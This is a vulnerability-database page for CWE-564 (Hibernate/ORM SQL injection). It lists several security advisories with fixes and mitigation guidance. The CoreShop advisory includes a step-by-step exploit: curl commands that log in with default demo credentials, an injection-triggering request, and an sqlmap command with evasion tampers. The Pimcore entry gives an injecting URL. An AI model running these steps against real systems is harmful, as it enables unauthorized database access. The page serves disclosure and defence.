CWE-564
AllowedSQL Injection: Hibernate
Abstraction: Variant · Status: Incomplete
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
25 vulnerabilities reference this CWE, most recent first.
GHSA-FQCV-8859-86X2
Vulnerability from github – Published: 2026-01-21 16:13 – Updated: 2026-01-22 15:43SQL Injection in CustomerTransformerController
Summary
An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
Details
The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file:
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern:
sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
Exploitation Steps:
Prerequisites
- Admin panel access at
https://demo4.coreshop.org/admin - Default credentials:
admin / coreshop
Authenticate to admin panel
# Get CSRF token
curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session
curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session
CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
# Login
curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
-X POST 'https://demo4.coreshop.org/admin/login/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "username=admin&password=coreshop&csrfToken=$CSRF"
```
### Trigger SQL error to confirm injection
```bash
curl -s -b /tmp/session.txt \
'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
```
**Expected result:** HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
**Normal response (non-error):**
```json
{"success":true,"message":null,"list":[]}
```
### Proof of Impact:
**Test 1 - Normal query:**
```bash
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing):
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
<title>500 | CORS - Pimcore Digital Agency</title>
...
</head>
The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result:
python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db
Impact
- Vulnerability type: SQL Injection (Error-based)
- Affected users: CoreShop / Pimcore admin users
- Potential impact:
- Database error disclosure
- Database schema enumeration
- Possible data extraction via error-based or blind SQL injection
Recommended Fix
1. Use Parameterized Queries (Required)
Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example:
$condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder):
$qb->andWhere('c.name LIKE :name')
->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
2. Validate User Input (Defense-in-Depth)
Apply strict input validation before processing user data:
if (!is_string($value) || mb_strlen($value) > 255) {
throw new BadRequestHttpException('Invalid input');
}
Optionally, restrict allowed characters if business logic permits.
3. Handle Errors Gracefully
Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:
return new JsonResponse([
'success' => false,
'message' => 'Invalid request'
], 400);
4. Security Best Practice
- Never interpolate user input directly into SQL strings
- Always use prepared statements or ORM parameter binding
- Ensure consistent input validation on all admin endpoints
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "coreshop/core-shop"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23959"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T16:13:12Z",
"nvd_published_at": "2026-01-22T03:15:46Z",
"severity": "MODERATE"
},
"details": "# SQL Injection in CustomerTransformerController\n\n## Summary\nAn **error-based SQL Injection vulnerability** was identified in the `CustomerTransformerController` within the CoreShop admin panel. \nThe affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.\n\nThis issue is classified as **MEDIUM severity**, as it allows SQL execution in an authenticated admin context.\n\n---\n\n## Details\nThe vulnerability exists in the company name duplication check endpoint:\n\n```\n/admin/coreshop/customer-company-modifier/duplication-name-check?value=\n```\n\nSource code analysis indicates that user input is directly embedded into a SQL condition without parameterization.\n\n**Vulnerable file:**\n```\n/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php\n```\n\n**Vulnerable code pattern:**\n```php\nsprintf(\u0027name LIKE \"%%%s%%\"\u0027, (string) $value)\n```\n\nThe `$value` parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter. \nSupplying a double quote (`\"`) causes a SQL syntax error, confirming that the input is executed in a SQL context.\n\n---\n\n## Exploitation Steps:\n\n### Prerequisites\n- Admin panel access at `https://demo4.coreshop.org/admin`\n- Default credentials: `admin / coreshop`\n\n### Authenticate to admin panel\n```bash\n # Get CSRF token\n curl -s \u0027https://demo4.coreshop.org/admin/login/csrf-token\u0027 | grep csrfToken\n\n # Initialize session\n curl -s -c /tmp/session.txt \u0027https://demo4.coreshop.org/admin/login\u0027 \u003e /dev/null\n\n # Get CSRF token with session\n CSRF=$(curl -s -b /tmp/session.txt \u0027https://demo4.coreshop.org/admin/login/csrf-token\u0027 | grep -o \u0027\"csrfToken\":\"[^\"]*\"\u0027 | cut -d\u0027\"\u0027 -f4)\n\n # Login\n curl -s -i -b /tmp/session.txt -c /tmp/session.txt \\\n -X POST \u0027https://demo4.coreshop.org/admin/login/login\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n -d \"username=admin\u0026password=coreshop\u0026csrfToken=$CSRF\"\n ```\n\n### Trigger SQL error to confirm injection\n ```bash\n curl -s -b /tmp/session.txt \\\n \u0027https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22\u0027\n ```\n\n **Expected result:** HTTP 500 error page with title \"500 | CORS - Pimcore Digital Agency\"\n\n **Normal response (non-error):**\n ```json\n {\"success\":true,\"message\":null,\"list\":[]}\n ```\n\n### Proof of Impact:\n\n**Test 1 - Normal query:**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test\nResponse: {\"success\":true,\"message\":null,\"list\":[]}\n```\n\n**Test 2 - SQL injection (error-inducing):**\n```bash\nGET /admin/coreshop/customer-company-modifier/duplication-name-check?value=\"\nResponse: HTTP 500 Internal Server Error\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n \u003ctitle\u003e500 | CORS - Pimcore Digital Agency\u003c/title\u003e\n ...\n\u003c/head\u003e\n```\nThe double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.\n\n**Sqlmap Result:**\n```bash\npython sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db\n```\n\u003cimg width=\"1921\" height=\"747\" alt=\"sqlmappoc\" src=\"https://github.com/user-attachments/assets/4069bbd4-d1a1-4ad1-9983-24402a20f985\" /\u003e\n\n---\n\n## Impact\n- **Vulnerability type:** SQL Injection (Error-based)\n- **Affected users:** CoreShop / Pimcore admin users\n- **Potential impact:**\n - Database error disclosure\n - Database schema enumeration\n - Possible data extraction via error-based or blind SQL injection\n\n---\n\n## Recommended Fix\n\n### 1. Use Parameterized Queries (Required)\nAvoid building SQL conditions using string concatenation or `sprintf`. \nUse Doctrine QueryBuilder parameters instead.\n\n**\u274c Vulnerable example:**\n```php\n$condition = sprintf(\u0027name LIKE \"%%%s%%\"\u0027, (string) $value);\n```\n\n**\u2705 Secure example (Doctrine QueryBuilder):**\n```php\n$qb-\u003eandWhere(\u0027c.name LIKE :name\u0027)\n -\u003esetParameter(\u0027name\u0027, \u0027%\u0027 . $value . \u0027%\u0027);\n```\n\nThis ensures proper escaping and prevents SQL injection.\n\n---\n\n### 2. Validate User Input (Defense-in-Depth)\nApply strict input validation before processing user data:\n\n```php\nif (!is_string($value) || mb_strlen($value) \u003e 255) {\n throw new BadRequestHttpException(\u0027Invalid input\u0027);\n}\n```\n\nOptionally, restrict allowed characters if business logic permits.\n\n---\n\n### 3. Handle Errors Gracefully\nAvoid returning raw 500 error pages to users. \nCatch database exceptions and return a controlled JSON error response instead:\n\n```php\nreturn new JsonResponse([\n \u0027success\u0027 =\u003e false,\n \u0027message\u0027 =\u003e \u0027Invalid request\u0027\n], 400);\n```\n\n---\n\n### 4. Security Best Practice\n- Never interpolate user input directly into SQL strings\n- Always use prepared statements or ORM parameter binding\n- Ensure consistent input validation on all admin endpoints\n\n---",
"id": "GHSA-fqcv-8859-86x2",
"modified": "2026-01-22T15:43:07Z",
"published": "2026-01-21T16:13:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coreshop/CoreShop/security/advisories/GHSA-fqcv-8859-86x2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23959"
},
{
"type": "WEB",
"url": "https://github.com/coreshop/CoreShop/commit/af80b8f5c7df5f02f44e9c5e0a4a564de274eec2"
},
{
"type": "PACKAGE",
"url": "https://github.com/coreshop/CoreShop"
},
{
"type": "WEB",
"url": "https://github.com/coreshop/CoreShop/releases/tag/4.1.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier"
}
GHSA-HQ47-CF6C-9H3P
Vulnerability from github – Published: 2026-09-01 15:31 – Updated: 2026-09-01 15:31CWE-564: SQL Injection: Hibernate vulnerability exists that could allow the injection of a malicious HQL query in the NetBotz database when a malicious user is logged into the NetBotz via the web-service interface or webui.
{
"affected": [],
"aliases": [
"CVE-2026-13337"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-01T14:17:24Z",
"severity": "MODERATE"
},
"details": "CWE-564: SQL Injection: Hibernate vulnerability exists that could allow the injection of a malicious HQL query in the NetBotz database when a malicious user is logged into the NetBotz via the web-service interface or webui.",
"id": "GHSA-hq47-cf6c-9h3p",
"modified": "2026-09-01T15:31:12Z",
"published": "2026-09-01T15:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13337"
},
{
"type": "WEB",
"url": "https://download.se.com/files?p_Doc_Ref=SEVD-2026-223-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2026-223-02.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MWCV-QWVH-QP7H
Vulnerability from github – Published: 2024-10-10 15:30 – Updated: 2026-06-03 15:30SQL Injection: Hibernate vulnerability in TE Informatics Nova CMS allows SQL Injection.This issue affects Nova CMS: before 5.0.
{
"affected": [],
"aliases": [
"CVE-2024-4658"
],
"database_specific": {
"cwe_ids": [
"CWE-564",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-10T14:15:05Z",
"severity": "MODERATE"
},
"details": "SQL Injection: Hibernate vulnerability in TE Informatics Nova CMS allows SQL Injection.This issue affects Nova CMS: before 5.0.",
"id": "GHSA-mwcv-qwvh-qp7h",
"modified": "2026-06-03T15:30:36Z",
"published": "2024-10-10T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4658"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1661"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1661"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-Q53R-9HH9-W277
Vulnerability from github – Published: 2025-01-28 19:14 – Updated: 2025-01-28 19:14An SQL injection vulnerability allows any authenticated user to execute arbitrary SQL commands on the server. This can lead to unauthorized access to sensitive data, data modification, or even complete control over the server.
Details The vulnerability is found in the URL parameters of the following endpoint:
GET /admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832 HTTP/1.1
The parameters filterDefinition and filter are vulnerable to SQL injection. When a specially crafted input is provided, it results in an SQL error, indicating that the input is being directly used in an SQL query without proper sanitization.
PoC To reproduce the vulnerability, follow these steps:
Open a web browser or a tool like curl or Postman. Authenticate with valid user credentials. Navigate to the following URL with the vulnerable parameters:
https://demo.pimcore.fun/admin/customermanagementframework/customers/list?add-new-customer=1&apply-segment-selection=Apply&filterDefinition[allowedRoleIds][]=1&filterDefinition[allowedUserIds][]=2&filterDefinition[id]=0&filterDefinition[name]=RDFYjolf&filterDefinition[readOnly]=on&filterDefinition[shortcutAvailable]=on&filter[active]=1&filter[email]=testing%40example.com&filter[firstname]=RDFYjolf&filter[id]=1&filter[lastname]=RDFYjolf&filter[operator-customer]=AND&filter[operator-segments]=%40%40dz1Uu&filter[search]=the&filter[segments][832][]=847&filter[segments][833][]=835&filter[segments][874][]=876&filter[showSegments][]=832
Observe the error message indicating an SQL error:
Error while building customer list: An exception occurred while executing a query: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '@_0 ON `fltr_seg_832_0_@_0`.fieldname IN ('manualSegments','calculatedSegment...' at line 1
Impact This is an SQL injection vulnerability. It impacts any authenticated user who can access the affected endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data breaches, data loss, or full server compromise.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "pimcore/customer-management-framework-bundle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-11956"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-28T19:14:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "An SQL injection vulnerability allows any authenticated user to execute arbitrary SQL commands on the server. This can lead to unauthorized access to sensitive data, data modification, or even complete control over the server.\n\nDetails\nThe vulnerability is found in the URL parameters of the following endpoint:\n\n`GET /admin/customermanagementframework/customers/list?add-new-customer=1\u0026apply-segment-selection=Apply\u0026filterDefinition[allowedRoleIds][]=1\u0026filterDefinition[allowedUserIds][]=2\u0026filterDefinition[id]=0\u0026filterDefinition[name]=RDFYjolf\u0026filterDefinition[readOnly]=on\u0026filterDefinition[shortcutAvailable]=on\u0026filter[active]=1\u0026filter[email]=testing%40example.com\u0026filter[firstname]=RDFYjolf\u0026filter[id]=1\u0026filter[lastname]=RDFYjolf\u0026filter[operator-customer]=AND\u0026filter[operator-segments]=%40%40dz1Uu\u0026filter[search]=the\u0026filter[segments][832][]=847\u0026filter[segments][833][]=835\u0026filter[segments][874][]=876\u0026filter[showSegments][]=832 HTTP/1.1`\n\nThe parameters filterDefinition and filter are vulnerable to SQL injection. When a specially crafted input is provided, it results in an SQL error, indicating that the input is being directly used in an SQL query without proper sanitization.\n\nPoC\nTo reproduce the vulnerability, follow these steps:\n\nOpen a web browser or a tool like curl or Postman.\nAuthenticate with valid user credentials.\nNavigate to the following URL with the vulnerable parameters:\n```\nhttps://demo.pimcore.fun/admin/customermanagementframework/customers/list?add-new-customer=1\u0026apply-segment-selection=Apply\u0026filterDefinition[allowedRoleIds][]=1\u0026filterDefinition[allowedUserIds][]=2\u0026filterDefinition[id]=0\u0026filterDefinition[name]=RDFYjolf\u0026filterDefinition[readOnly]=on\u0026filterDefinition[shortcutAvailable]=on\u0026filter[active]=1\u0026filter[email]=testing%40example.com\u0026filter[firstname]=RDFYjolf\u0026filter[id]=1\u0026filter[lastname]=RDFYjolf\u0026filter[operator-customer]=AND\u0026filter[operator-segments]=%40%40dz1Uu\u0026filter[search]=the\u0026filter[segments][832][]=847\u0026filter[segments][833][]=835\u0026filter[segments][874][]=876\u0026filter[showSegments][]=832\nObserve the error message indicating an SQL error:\nError while building customer list: An exception occurred while executing a query: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \u0027@_0 ON `fltr_seg_832_0_@_0`.fieldname IN (\u0027manualSegments\u0027,\u0027calculatedSegment...\u0027 at line 1\n```\nImpact\nThis is an SQL injection vulnerability. It impacts any authenticated user who can access the affected endpoint. An attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to data breaches, data loss, or full server compromise.",
"id": "GHSA-q53r-9hh9-w277",
"modified": "2025-01-28T19:14:50Z",
"published": "2025-01-28T19:14:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-q53r-9hh9-w277"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11956"
},
{
"type": "WEB",
"url": "https://github.com/pimcore/customer-data-framework/releases/tag/v4.2.1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pimcore/pimcore"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.293906"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.293906"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.451863"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "pimcore/customer-data-framework vulnerable to SQL Injection"
}
GHSA-XGHX-F376-X86R
Vulnerability from github – Published: 2026-07-02 18:36 – Updated: 2026-07-02 18:36Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC).
{
"affected": [],
"aliases": [
"CVE-2024-58352"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T17:16:57Z",
"severity": "HIGH"
},
"details": "Landray OA contains an unauthenticated HQL injection vulnerability that allows unauthenticated attackers to query arbitrary Hibernate entity classes by injecting malicious HQL syntax into the uid POST parameter of the wechatLoginHelper.do endpoint. Attackers can exploit the lack of input sanitization in the string-concatenated filter expression passed to the Hibernate findList() call to extract sensitive data such as administrator password hashes and, with sufficient database privileges, perform file-write operations enabling remote code execution. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-03-11 (UTC).",
"id": "GHSA-xghx-f376-x86r",
"modified": "2026-07-02T18:36:30Z",
"published": "2026-07-02T18:36:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58352"
},
{
"type": "WEB",
"url": "https://blog.csdn.net/fushuang333/article/details/136377020"
},
{
"type": "WEB",
"url": "https://blog.csdn.net/qq_39342001/article/details/137354047"
},
{
"type": "WEB",
"url": "https://cn-sec.com/archives/2532828.html"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/landray-oa-unauthenticated-hql-injection-via-wechatloginhelper-do"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
A non-SQL style database which is not subject to this flaw may be chosen.
Mitigation
Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.
Mitigation
Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.